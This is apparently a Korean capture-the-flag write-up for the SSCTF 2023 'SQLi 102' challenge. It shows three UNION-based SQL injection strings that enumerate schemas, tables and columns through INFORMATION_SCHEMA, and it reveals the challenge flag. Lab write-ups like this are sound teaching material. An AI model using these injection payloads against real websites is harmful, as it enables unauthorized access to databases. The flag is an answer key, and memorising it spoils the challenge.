[SSCTF 2023] SQLi 102

문제 정보

 

 

 

 

 

접속 시 나오는 화면

 

숨겨진 table을 찾아서 그 table의 column 이름을 찾으면

FLAG를 찾을 수 있을 것 같다!

 

 

 

 

 

 

 

hi%' UNION SELECT '', SCHEMA_NAME, '', '', '', '', '', '' FROM INFORMATION_SCHEMA.SCHEMATA --

 

먼저 

hi%' UNION SELECT '', SCHEMA_NAME, '', '', '', '', '', '' FROM INFORMATION_SCHEMA.SCHEMATA --

구문으로 데이터베이스에서 스키마를 찾아냈다!

 

 

 

 

 

 

 

hi' UNION SELECT '', TABLE_NAME , '', '', '', '', '', '' FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA =' sqli102 ' --

 

다음은

hi' UNION SELECT '', TABLE_NAME , '', '', '', '', '', '' FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA =' sqli102 ' --

구문으로 finde me라는 table 명을 찾았다!!!

 

 

 

 

 

 

 

 

hi' UNION SELECT '', COLUMN_NAME, '', '', '', '', '', '' FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='findme' --

 

마지막으로

hi' UNION SELECT '', COLUMN_NAME, '', '', '', '', '', '' FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='findme' -- 

구문으로 FLAG를 찾을 수 있었다!

 

 

 

 

 

FLAG

SCTF{b451c_SQLi_5k1lls}